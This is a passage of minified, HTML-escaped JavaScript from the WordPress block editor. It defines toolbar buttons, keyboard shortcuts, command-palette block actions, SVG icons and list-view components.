o=(n.blocks??[]).map((e=&gt;(0,p.cloneBlock)(e)));o[0].attributes.metadata={...o[0].attributes.metadata,categories:t},r(e,o)};return(0,d.jsx)(Ss.Dropdown,{popoverProps:PT,renderToggle:({onToggle:e,isOpen:t})=&gt;(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(Ss.ToolbarButton,{onClick:()=&gt;e(!t),&quot;aria-expanded&quot;:t,children:(0,T.__)(&quot;Change design&quot;)})}),renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{className:&quot;block-editor-block-toolbar-change-design-content-wrapper&quot;,paddingSize:&quot;none&quot;,children:(0,d.jsx)(GC,{blockPatterns:i,onClickPattern:s,showTitlesAsTooltip:!0})})})}const AT=(0,d.jsxs)(Ss.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,focusable:&quot;false&quot;,children:[(0,d.jsx)(Ss.Path,{d:&quot;M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3z&quot;}),(0,d.jsx)(Ss.Path,{stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,d:&quot;M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3z&quot;})]});var NT=function({clientId:e}){const{stylesToRender:t,activeStyle:n,className:o}=rE({clientId:e}),{updateBlockAttributes:r}=(0,g.useDispatch)(Ii),{merged:i}=(0,h.useContext)(rs),{globalSettings:s,globalStyles:l,blockName:a}=(0,g.useSelect)((t=&gt;{const n=t(Ii).getSettings();return{globalSettings:n.__experimentalFeatures,globalStyles:n[N],blockName:t(Ii).getBlockName(e)}}),[e]),c=n?.name?Eb({settings:i?.settings??s,styles:i?.styles??l},a,n.name)?.color?.background:void 0;return t&amp;&amp;0!==t.length?(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(Ss.ToolbarButton,{onClick:()=&gt;{const i=(t.findIndex((e=&gt;e.name===n.name))+1)%t.length,s=t[i],l=nE(o,n,s);r(e,{className:l})},label:(0,T.__)(&quot;Shuffle styles&quot;),children:(0,d.jsx)(Ss.Icon,{icon:AT,style:{fill:c||&quot;transparent&quot;}})})}):null};function LT({hideDragHandle:e,focusOnMount:t,__experimentalInitialIndex:n,__experimentalOnIndexChange:o,variant:r=&quot;unstyled&quot;}){const{blockClientId:i,blockClientIds:s,isDefaultEditingMode:l,blockType:a,toolbarKey:c,shouldShowVisualToolbar:u,showParentSelector:f,isUsingBindings:b,hasParentPattern:k,hasContentOnlyLocking:v,showShuffleButton:_,showSlots:y,showGroupButtons:x,showLockButtons:S,showBlockVisibilityButton:w,showSwitchSectionStyleButton:C}=(0,g.useSelect)((e=&gt;{const{getBlockName:t,getBlockMode:n,getBlockParents:o,getSelectedBlockClientIds:r,isBlockValid:i,getBlockEditingMode:s,getBlockAttributes:l,getBlockParentsByBlockName:a,getTemplateLock:c,getParentSectionBlock:u,isZoomOut:d,isSectionBlock:h}=U(e(Ii)),g=r(),m=g[0],f=o(m),b=u(m)??f[f.length-1],k=t(b),v=(0,p.getBlockType)(k),_=s(m),y=&quot;default&quot;===_,x=t(m),S=g.every((e=&gt;i(e))),w=g.every((e=&gt;&quot;visual&quot;===n(e))),C=g.every((e=&gt;!!l(e)?.metadata?.bindings)),B=g.every((e=&gt;a(e,&quot;core/block&quot;,!0).length&gt;0)),I=g.some((e=&gt;&quot;contentOnly&quot;===c(e))),j=d(),E=window?.__experimentalContentOnlyPatternInsertion&amp;&amp;(j||h(m));return{blockClientId:m,blockClientIds:g,isDefaultEditingMode:y,blockType:m&amp;&amp;(0,p.getBlockType)(x),shouldShowVisualToolbar:S&amp;&amp;w,toolbarKey:`${m}${b}`,showParentSelector:!j&amp;&amp;v&amp;&amp;&quot;contentOnly&quot;!==_&amp;&amp;&quot;disabled&quot;!==s(b)&amp;&amp;(0,p.hasBlockSupport)(v,&quot;__experimentalParentSelector&quot;,!0)&amp;&amp;1===g.length,isUsingBindings:C,hasParentPattern:B,hasContentOnlyLocking:I,showShuffleButton:j,showSlots:!j,showGroupButtons:!j,showLockButtons:!j,showBlockVisibilityButton:!j,showSwitchSectionStyleButton:E}}),[]),B=(0,h.useRef)(null),I=(0,h.useRef)(),j=Wj({ref:I}),E=!(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);if(!ET())return null;const M=s.length&gt;1,P=(0,p.isReusableBlock)(a)||(0,p.isTemplatePart)(a),R=gs(&quot;block-editor-block-contextual-toolbar&quot;,{&quot;has-parent&quot;:f}),A=gs(&quot;block-editor-block-toolbar&quot;,{&quot;is-synced&quot;:P,&quot;is-connected&quot;:b});return(0,d.jsx)(jT,{focusEditorOnEscape:!0,className:R,&quot;aria-label&quot;:(0,T.__)(&quot;Block tools&quot;),variant:&quot;toolbar&quot;===r?void 0:r,focusOnMount:t,__experimentalInitialIndex:n,__experimentalOnIndexChange:o,children:(0,d.jsxs)(&quot;div&quot;,{ref:B,className:A,children:[f&amp;&amp;!M&amp;&amp;E&amp;&amp;(0,d.jsx)(Kj,{}),(u||M)&amp;&amp;!k&amp;&amp;(0,d.jsx)(&quot;div&quot;,{ref:I,...j,children:(0,d.jsxs)(Ss.ToolbarGroup,{className:&quot;block-editor-block-toolbar__block-controls&quot;,children:[(0,d.jsx)(fE,{clientIds:s}),l&amp;&amp;w&amp;&amp;(0,d.jsx)(mT,{clientIds:s}),!M&amp;&amp;l&amp;&amp;S&amp;&amp;(0,d.jsx)(gT,{clientId:i}),(0,d.jsx)(Fj,{clientIds:s,hideDragHandle:e})]})}),!v&amp;&amp;u&amp;&amp;M&amp;&amp;x&amp;&amp;(0,d.jsx)(yT,{}),_&amp;&amp;(0,d.jsx)(RT,{clientId:s[0]}),C&amp;&amp;(0,d.jsx)(NT,{clientId:s[0]}),u&amp;&amp;y&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ps.Slot,{group:&quot;parent&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,d.jsx)(Ps.Slot,{group:&quot;block&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,d.jsx)(Ps.Slot,{className:&quot;block-editor-block-toolbar__slot&quot;}),(0,d.jsx)(Ps.Slot,{group:&quot;inline&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,d.jsx)(Ps.Slot,{group:&quot;other&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,d.jsx)(wT.Provider,{value:a?.name,children:(0,d.jsx)(vE.Slot,{})})]}),(0,d.jsx)(xT,{clientIds:s}),(0,d.jsx)(hT,{clientIds:s})]})},c)}function DT({hideDragHandle:e,variant:t}){return(0,d.jsx)(LT,{hideDragHandle:e,variant:t,focusOnMount:void 0,__experimentalInitialIndex:void 0,__experimentalOnIndexChange:void 0})}function OT({clientId:e,isTyping:t,__unstableContentRef:n}){const{capturingClientId:o,isInsertionPointVisible:r,lastClientId:i}=Mj(e),s=(0,h.useRef)();(0,h.useEffect)((()=&gt;{s.current=void 0}),[e]);const{stopTyping:l}=(0,g.useDispatch)(Ii),a=(0,h.useRef)(!1);(0,qk.useShortcut)(&quot;core/block-editor/focus-toolbar&quot;,(()=&gt;{a.current=!0,l(!0)})),(0,h.useEffect)((()=&gt;{a.current=!1}));const c=o||e,u=Tj({contentElement:n?.current,clientId:c});return!t&amp;&amp;(0,d.jsx)(Jm,{clientId:c,bottomClientId:i,className:gs(&quot;block-editor-block-list__block-popover&quot;,{&quot;is-insertion-point-visible&quot;:r}),resize:!1,...u,__unstableContentRef:n,children:(0,d.jsx)(LT,{focusOnMount:a.current,__experimentalInitialIndex:s.current,__experimentalOnIndexChange:e=&gt;{s.current=e},variant:&quot;toolbar&quot;})})}var zT=function({onClick:e}){return(0,d.jsx)(Ss.Button,{variant:&quot;primary&quot;,icon:ac,size:&quot;compact&quot;,className:gs(&quot;block-editor-button-pattern-inserter__button&quot;,&quot;block-editor-block-tools__zoom-out-mode-inserter-button&quot;),onClick:e,label:(0,T._x)(&quot;Add pattern&quot;,&quot;Generic label for pattern inserter button&quot;)})};var VT=function(){const[e,t]=(0,h.useState)(!1),{hasSelection:n,blockOrder:o,setInserterIsOpened:r,sectionRootClientId:i,selectedBlockClientId:s,blockInsertionPoint:l,insertionPointVisible:a}=(0,g.useSelect)((e=&gt;{const{getSettings:t,getBlockOrder:n,getSelectionStart:o,getSelectedBlockClientId:r,getSectionRootClientId:i,getBlockInsertionPoint:s,isBlockInsertionPointVisible:l}=U(e(Ii)),a=i();return{hasSelection:!!o().clientId,blockOrder:n(a),sectionRootClientId:a,setInserterIsOpened:t().__experimentalSetIsInserterOpened,selectedBlockClientId:r(),blockInsertionPoint:s(),insertionPointVisible:l()}}),[]),{showInsertionPoint:c}=U((0,g.useDispatch)(Ii));if((0,h.useEffect)((()=&gt;{const e=setTimeout((()=&gt;{t(!0)}),500);return()=&gt;{clearTimeout(e)}}),[]),!e||!n)return null;const u=s,p=o.findIndex((e=&gt;s===e))+1,m=o[p];return a&amp;&amp;l?.index===p?null:(0,d.jsx)(wS,{previousClientId:u,nextClientId:m,children:(0,d.jsx)(zT,{onClick:()=&gt;{r({rootClientId:i,insertionIndex:p,tab:&quot;patterns&quot;,category:&quot;all&quot;}),c(i,p,{operation:&quot;insert&quot;})}})})};function FT(e){const{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:n,getSettings:o,isTyping:r,isDragging:i,isZoomOut:s}=U(e(Ii));return{clientId:t()||n(),hasFixedToolbar:o().hasFixedToolbar,isTyping:r(),isZoomOutMode:s(),isDragging:i()}}function HT({children:e,__unstableContentRef:t,...n}){const{clientId:o,hasFixedToolbar:r,isTyping:i,isZoomOutMode:s,isDragging:l}=(0,g.useSelect)(FT,[]),a=(0,qk.__unstableUseShortcutEventMatch)(),{getBlocksByClientId:c,getSelectedBlockClientIds:u,getBlockRootClientId:m,isGroupable:f,getBlockName:b}=(0,g.useSelect)(Ii),{getGroupingBlockName:k}=(0,g.useSelect)(p.store),{showEmptyBlockSideInserter:v,showBlockToolbarPopover:_}=(0,g.useSelect)((e=&gt;{const{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:n,getBlock:o,getBlockMode:r,getSettings:i,isTyping:s,isBlockInterfaceHidden:l}=U(e(Ii)),a=t()||n(),c=o(a),u=!!a&amp;&amp;!!c,d=u&amp;&amp;(0,p.isUnmodifiedDefaultBlock)(c,&quot;content&quot;)&amp;&amp;&quot;html&quot;!==r(a),h=a&amp;&amp;!s()&amp;&amp;d;return{showEmptyBlockSideInserter:h,showBlockToolbarPopover:!l()&amp;&amp;!i().hasFixedToolbar&amp;&amp;!h&amp;&amp;u&amp;&amp;!d}}),[]),y=PE(),{duplicateBlocks:x,removeBlocks:S,replaceBlocks:w,insertAfterBlock:C,insertBeforeBlock:B,selectBlock:I,moveBlocksUp:j,moveBlocksDown:E,expandBlock:M,updateBlockAttributes:P}=U((0,g.useDispatch)(Ii));const R=Vm(t),A=Vm(t);return(0,d.jsx)(&quot;div&quot;,{...n,onKeyDown:function(e){if(!e.defaultPrevented)if(a(&quot;core/block-editor/move-up&quot;,e)||a(&quot;core/block-editor/move-down&quot;,e)){const t=u();if(t.length){e.preventDefault();const n=m(t[0]);&quot;up&quot;===(a(&quot;core/block-editor/move-up&quot;,e)?&quot;up&quot;:&quot;down&quot;)?j(t,n):E(t,n);const o=Array.isArray(t)?t.length:1,r=(0,T.sprintf)((0,T._n)(&quot;%d block moved.&quot;,&quot;%d blocks moved.&quot;,t.length),o);(0,Ho.speak)(r)}}else if(a(&quot;core/block-editor/duplicate&quot;,e)){const t=u();t.length&amp;&amp;(e.preventDefault(),x(t))}else if(a(&quot;core/block-editor/remove&quot;,e)){const t=u();t.length&amp;&amp;(e.preventDefault(),S(t))}else if(a(&quot;core/block-editor/paste-styles&quot;,e)){const t=u();if(t.length){e.preventDefault();const n=c(t);y(n)}}else if(a(&quot;core/block-editor/insert-after&quot;,e)){const t=u();t.length&amp;&amp;(e.preventDefault(),C(t[t.length-1]))}else if(a(&quot;core/block-editor/insert-before&quot;,e)){const t=u();t.length&amp;&amp;(e.preventDefault(),B(t[0]))}else if(a(&quot;core/block-editor/unselect&quot;,e)){if(e.target.closest(&quot;[role=toolbar]&quot;))return;const t=u();t.length&gt;1&amp;&amp;(e.preventDefault(),I(t[0]))}else if(a(&quot;core/block-editor/collapse-list-view&quot;,e)){if((0,Ua.isTextField)(e.target)||(0,Ua.isTextField)(e.target?.contentWindow?.document?.activeElement))return;e.preventDefault(),M(o)}else if(a(&quot;core/block-editor/group&quot;,e)){const t=u();if(t.length&gt;1&amp;&amp;f(t)){e.preventDefault();const n=c(t),o=k(),r=(0,p.switchToBlockType)(n,o);w(t,r),(0,Ho.speak)((0,T.__)(&quot;Selected blocks are grouped.&quot;))}}else if(a(&quot;core/block-editor/toggle-block-visibility&quot;,e)){const t=u();if(t.length){e.preventDefault();const n=c(t);if(!n.every((e=&gt;(0,p.hasBlockSupport)(b(e.clientId),&quot;visibility&quot;,!0))))return;const o=n.some((e=&gt;!1===e.attributes.metadata?.blockVisibility)),r=Object.fromEntries(n.map((({clientId:e,attributes:t})=&gt;[e,{metadata:ms({...t?.metadata,blockVisibility:!!o&amp;&amp;void 0})}])));P(t,r,{uniqueByBlock:!0})}}},className:gs(n.className,{&quot;block-editor-block-tools--is-dragging&quot;:l}),children:(0,d.jsxs)(IS.Provider,{value:(0,h.useRef)(!1),children:[!i&amp;&amp;!s&amp;&amp;(0,d.jsx)(ES,{__unstableContentRef:t}),v&amp;&amp;(0,d.jsx)(Pj,{__unstableContentRef:t,clientId:o}),_&amp;&amp;(0,d.jsx)(OT,{__unstableContentRef:t,clientId:o,isTyping:i}),!s&amp;&amp;!r&amp;&amp;(0,d.jsx)(Ss.Popover.Slot,{name:&quot;block-toolbar&quot;,ref:R}),e,(0,d.jsx)(Ss.Popover.Slot,{name:&quot;__unstable-block-tools-after&quot;,ref:A}),s&amp;&amp;!l&amp;&amp;(0,d.jsx)(VT,{__unstableContentRef:t})]})})}const UT=window.wp.commands;var GT=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M18 4h-7c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7zm-5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h1V9H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-1h-1.5v1z&quot;})}),$T=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z&quot;})});const WT=()=&gt;function(){const{replaceBlocks:e,multiSelect:t}=(0,g.useDispatch)(Ii),{blocks:n,clientIds:o,canRemove:r,possibleBlockTransformations:i,invalidSelection:s}=(0,g.useSelect)((e=&gt;{const{getBlockRootClientId:t,getBlockTransformItems:n,getSelectedBlockClientIds:o,getBlocksByClientId:r,canRemoveBlocks:i}=e(Ii),s=o(),l=r(s);if(l.filter((e=&gt;!e)).length&gt;0)return{invalidSelection:!0};return{blocks:l,clientIds:s,possibleBlockTransformations:n(l,t(s[0])),canRemove:i(s),invalidSelection:!1}}),[]);if(s)return{isLoading:!1,commands:[]};const l=1===n.length&amp;&amp;(0,p.isTemplatePart)(n[0]);function a(r){const i=(0,p.switchToBlockType)(n,r);var s;e(o,i),(s=i).length&gt;1&amp;&amp;t(s[0].clientId,s[s.length-1].clientId)}const c=!!i.length&amp;&amp;r&amp;&amp;!l;if(!o||o.length&lt;1||!c)return{isLoading:!1,commands:[]};return{isLoading:!1,commands:i.map((e=&gt;{const{name:t,title:n,icon:o}=e;return{name:&quot;core/block-editor/transform-to-&quot;+t.replace(&quot;/&quot;,&quot;-&quot;),label:(0,T.sprintf)((0,T.__)(&quot;Transform to %s&quot;),n),icon:(0,d.jsx)(zu,{icon:o}),callback:({close:e})=&gt;{a(t),e()}}}))}},KT=()=&gt;{(0,UT.useCommandLoader)({name:&quot;core/block-editor/blockTransforms&quot;,hook:WT()}),(0,UT.useCommandLoader)({name:&quot;core/block-editor/blockQuickActions&quot;,hook:function(){const{clientIds:e,isUngroupable:t,isGroupable:n}=(0,g.useSelect)((e=&gt;{const{getSelectedBlockClientIds:t,isUngroupable:n,isGroupable:o}=e(Ii);return{clientIds:t(),isUngroupable:n(),isGroupable:o()}}),[]),{canInsertBlockType:o,getBlockRootClientId:r,getBlocksByClientId:i,canRemoveBlocks:s,getBlockName:l}=(0,g.useSelect)(Ii),{getDefaultBlockName:a,getGroupingBlockName:c}=(0,g.useSelect)(p.store),u=i(e),{removeBlocks:d,replaceBlocks:h,duplicateBlocks:m,insertAfterBlock:f,insertBeforeBlock:b,updateBlockAttributes:k}=(0,g.useDispatch)(Ii),v=()=&gt;{if(!u.length)return;const t=c(),n=(0,p.switchToBlockType)(u,t);n&amp;&amp;h(e,n)},_=()=&gt;{if(!u.length)return;const t=u[0].innerBlocks;t.length&amp;&amp;h(e,t)};if(!e||e.length&lt;1)return{isLoading:!1,commands:[]};const y=r(e[0]),x=o(a(),y),S=u.every((e=&gt;!!e&amp;&amp;(0,p.hasBlockSupport)(e.name,&quot;multiple&quot;,!0)&amp;&amp;o(e.name,y))),w=s(e),C=u.every((({clientId:e})=&gt;(0,p.hasBlockSupport)(l(e),&quot;visibility&quot;,!0))),B=[];if(S&amp;&amp;B.push({name:&quot;duplicate&quot;,label:(0,T.__)(&quot;Duplicate&quot;),callback:()=&gt;m(e,!0),icon:Zj}),x&amp;&amp;B.push({name:&quot;add-before&quot;,label:(0,T.__)(&quot;Add before&quot;),callback:()=&gt;{const t=Array.isArray(e)?e[0]:t;b(t)},icon:ac},{name:&quot;add-after&quot;,label:(0,T.__)(&quot;Add after&quot;),callback:()=&gt;{const t=Array.isArray(e)?e[e.length-1]:t;f(t)},icon:ac}),n&amp;&amp;B.push({name:&quot;Group&quot;,label:(0,T.__)(&quot;Group&quot;),callback:v,icon:fT}),t&amp;&amp;B.push({name:&quot;ungroup&quot;,label:(0,T.__)(&quot;Ungroup&quot;),callback:_,icon:GT}),w&amp;&amp;B.push({name:&quot;remove&quot;,label:(0,T.__)(&quot;Delete&quot;),callback:()=&gt;d(e,!0),icon:$T}),C){const t=u.some((e=&gt;!1===e.attributes.metadata?.blockVisibility));B.push({name:&quot;core/toggle-block-visibility&quot;,label:t?(0,T.__)(&quot;Show&quot;):(0,T.__)(&quot;Hide&quot;),callback:()=&gt;{const n=Object.fromEntries(u?.map((({clientId:e,attributes:n})=&gt;[e,{metadata:ms({...n?.metadata,blockVisibility:!!t&amp;&amp;void 0})}])));k(e,n,{uniqueByBlock:!0})},icon:t?eT:tT})}return{isLoading:!1,commands:B.map((e=&gt;({...e,name:&quot;core/block-editor/action-&quot;+e.name,callback:({close:t})=&gt;{e.callback(),t()}})))}},context:&quot;block-selection-edit&quot;})},ZT={ignoredSelectors:[/\.editor-styles-wrapper/gi]};function qT({shouldIframe:e=!0,height:t=&quot;300px&quot;,children:n=(0,d.jsx)(uw,{}),styles:o,contentRef:r,iframeProps:i}){KT();const s=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),l=tw(),a=MS(),c=(0,h.useRef)(),u=(0,m.useMergeRefs)([r,a,c]),p=(0,g.useSelect)((e=&gt;U(e(Ii)).getZoomLevel()),[]),f=100===p||s?{}:{scale:p,frameSize:&quot;40px&quot;};return e?(0,d.jsx)(HT,{__unstableContentRef:c,style:{height:t,display:&quot;flex&quot;},children:(0,d.jsxs)(Vw,{...i,...f,ref:l,contentRef:u,style:{...i?.style},name:&quot;editor-canvas&quot;,children:[(0,d.jsx)(aC,{styles:o}),n]})}):(0,d.jsxs)(HT,{__unstableContentRef:c,style:{height:t,display:&quot;flex&quot;},children:[(0,d.jsx)(aC,{styles:o,scope:&quot;:where(.editor-styles-wrapper)&quot;,transformOptions:ZT}),(0,d.jsx)(Rw,{ref:u,className:&quot;editor-styles-wrapper&quot;,tabIndex:-1,style:{height:&quot;100%&quot;,width:&quot;100%&quot;},children:n})]})}var YT=function({children:e,height:t,styles:n}){return(0,d.jsx)(qT,{height:t,styles:n,children:e})};const XT=()=&gt;(0,d.jsx)(Ss.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 20 20&quot;,children:(0,d.jsx)(Ss.Path,{d:&quot;M7.434 5l3.18 9.16H8.538l-.692-2.184H4.628l-.705 2.184H2L5.18 5h2.254zm-1.13 1.904h-.115l-1.148 3.593H7.44L6.304 6.904zM14.348 7.006c1.853 0 2.9.876 2.9 2.374v4.78h-1.79v-.914h-.114c-.362.64-1.123 1.022-2.031 1.022-1.346 0-2.292-.826-2.292-2.108 0-1.27.972-2.006 2.71-2.107l1.696-.102V9.38c0-.584-.42-.914-1.18-.914-.667 0-1.112.228-1.264.647h-1.701c.12-1.295 1.307-2.107 3.066-2.107zm1.079 4.1l-1.416.09c-.793.056-1.18.342-1.18.844 0 .52.45.837 1.091.837.857 0 1.505-.545 1.505-1.256v-.515z&quot;})}),QT=({style:e,className:t})=&gt;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-library-colors-selector__icon-container&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:`${t} block-library-colors-selector__state-selection`,style:e,children:(0,d.jsx)(XT,{})})}),JT=({TextColor:e,BackgroundColor:t})=&gt;({onToggle:n,isOpen:o})=&gt;(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(Ss.ToolbarButton,{className:&quot;components-toolbar__control block-library-colors-selector__toggle&quot;,label:(0,T.__)(&quot;Open Colors Selector&quot;),onClick:n,onKeyDown:e=&gt;{o||e.keyCode!==$a.DOWN||(e.preventDefault(),n())},icon:(0,d.jsx)(t,{children:(0,d.jsx)(e,{children:(0,d.jsx)(QT,{})})})})});var eM=({children:e,...t})=&gt;(I()(&quot;wp.blockEditor.BlockColorsStyleSelector&quot;,{alternative:&quot;block supports API&quot;,since:&quot;6.1&quot;,version:&quot;6.3&quot;}),(0,d.jsx)(Ss.Dropdown,{popoverProps:{placement:&quot;bottom-start&quot;},className:&quot;block-library-colors-selector&quot;,contentClassName:&quot;block-library-colors-selector__popover&quot;,renderToggle:JT(t),renderContent:()=&gt;e})),tM=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z&quot;})});const nM=(0,h.createContext)({});nM.displayName=&quot;ListViewContext&quot;;const oM=()=&gt;(0,h.useContext)(nM);function rM({children:e,...t}){const n=(0,h.useRef)();return(0,h.useEffect)((()=&gt;{n.current&amp;&amp;(n.current.textContent=n.current.textContent)}),[e]),(0,d.jsx)(&quot;div&quot;,{hidden:!0,...t,ref:n,children:e})}const iM=(0,h.forwardRef)((({nestingLevel:e,blockCount:t,clientId:n,...o},r)=&gt;{const{insertedBlock:i,setInsertedBlock:s}=oM(),l=(0,m.useInstanceId)(iM),{directInsert:a,hideInserter:c}=(0,g.useSelect)((e=&gt;{const{getBlockListSettings:t,getTemplateLock:o,isZoomOut:r}=U(e(Ii)),i=t(n);return{directInsert:i?.directInsert||!1,hideInserter:!!o(n)||r()}}),[n]),u=xj({clientId:n,context:&quot;list-view&quot;}),p=xj({clientId:i?.clientId,context:&quot;list-view&quot;});if((0,h.useEffect)((()=&gt;{p?.length&amp;&amp;(0,Ho.speak)((0,T.sprintf)((0,T.__)(&quot;%s block inserted&quot;),p),&quot;assertive&quot;)}),[p]),c)return null;const f=`list-view-appender__${l}`,b=(0,T.sprintf)((0,T.__)(&quot;Append to %1$s block at position %2$d, Level %3$d&quot;),u,t+1,e);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;list-view-appender&quot;,children:[(0,d.jsx)(sI,{ref:r,rootClientId:n,position:&quot;bottom right&quot;,isAppender:!0,selectBlockOnInsert:!1,shouldDirectInsert:a,__experimentalIsQuick:!0,...o,toggleProps:{&quot;aria-describedby&quot;:f},onSelectOrClose:e=&gt;{e?.clientId&amp;&amp;s(e)}}),(0,d.jsx)(rM,{id:f,children:b})]})})),sM=Qx(Ss.__experimentalTreeGridRow),lM=(0,h.forwardRef)((({isDragged:e,isSelected:t,position:n,level:o,rowCount:r,children:i,className:s,path:l,...a},c)=&gt;{const u=eS({clientId:a[&quot;data-block&quot;],enableAnimation:!0,triggerAnimationOnChange:l}),p=(0,m.useMergeRefs)([c,u]);return(0,d.jsx)(sM,{ref:p,className:gs(&quot;block-editor-list-view-leaf&quot;,s),level:o,positionInSet:n,setSize:r,isExpanded:void 0,...a,children:i})}));var aM=lM;var cM=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M10.97 10.159a3.382 3.382 0 0 0-2.857.955l1.724 1.723-2.836 2.913L7 17h1.25l2.913-2.837 1.723 1.723a3.38 3.38 0 0 0 .606-.825c.33-.63.446-1.343.35-2.032L17 10.695 13.305 7l-2.334 3.159Z&quot;})}),uM=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z&quot;})});function dM({onClick:e}){return(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view__expander&quot;,onClick:t=&gt;e(t,{forceToggle:!0}),&quot;aria-hidden&quot;:&quot;true&quot;,&quot;data-testid&quot;:&quot;list-view-expander&quot;,children:(0,d.jsx)(Dl,{icon:(0,T.isRTL)()?tc:nc})})}const pM={&quot;core/image&quot;:({clientId:e,attributes:t})=&gt;{if(t.url)return{url:t.url,alt:t.alt||&quot;&quot;,clientId:e}},&quot;core/cover&quot;:({clientId:e,attributes:t})=&gt;{if(&quot;image&quot;===t.backgroundType&amp;&amp;t.url)return{url:t.url,alt:t.alt||&quot;&quot;,clientId:e}},&quot;core/media-text&quot;:({clientId:e,attributes:t})=&gt;{if(&quot;image&quot;===t.mediaType&amp;&amp;t.mediaUrl)return{url:t.mediaUrl,alt:t.mediaAlt||&quot;&quot;,clientId:e}},&quot;core/gallery&quot;:({innerBlocks:e})=&gt;{const t=[],n=e?.length?pM[e[0].name]:void 0;if(!n)return t;for(const o of e){const e=n(o);if(e&amp;&amp;t.push(e),t.length&gt;=3)return t}return t}};function hM({clientId:e,isExpanded:t}){const{block:n}=(0,g.useSelect)((t=&gt;({block:t(Ii).getBlock(e)})),[e]);return(0,h.useMemo)((()=&gt;function(e,t){const n=pM[e.name],o=n?n(e):void 0;return o?Array.isArray(o)?t?[]:o:[o]:[]}(n,t)),[n,t])}const{Badge:gM}=U(Ss.privateApis);var mM=(0,h.forwardRef)((function({className:e,block:{clientId:t},onClick:n,onContextMenu:o,onMouseDown:r,onToggleExpanded:i,tabIndex:s,onFocus:l,onDragStart:a,onDragEnd:c,draggable:u,isExpanded:h,ariaDescribedBy:m},f){const 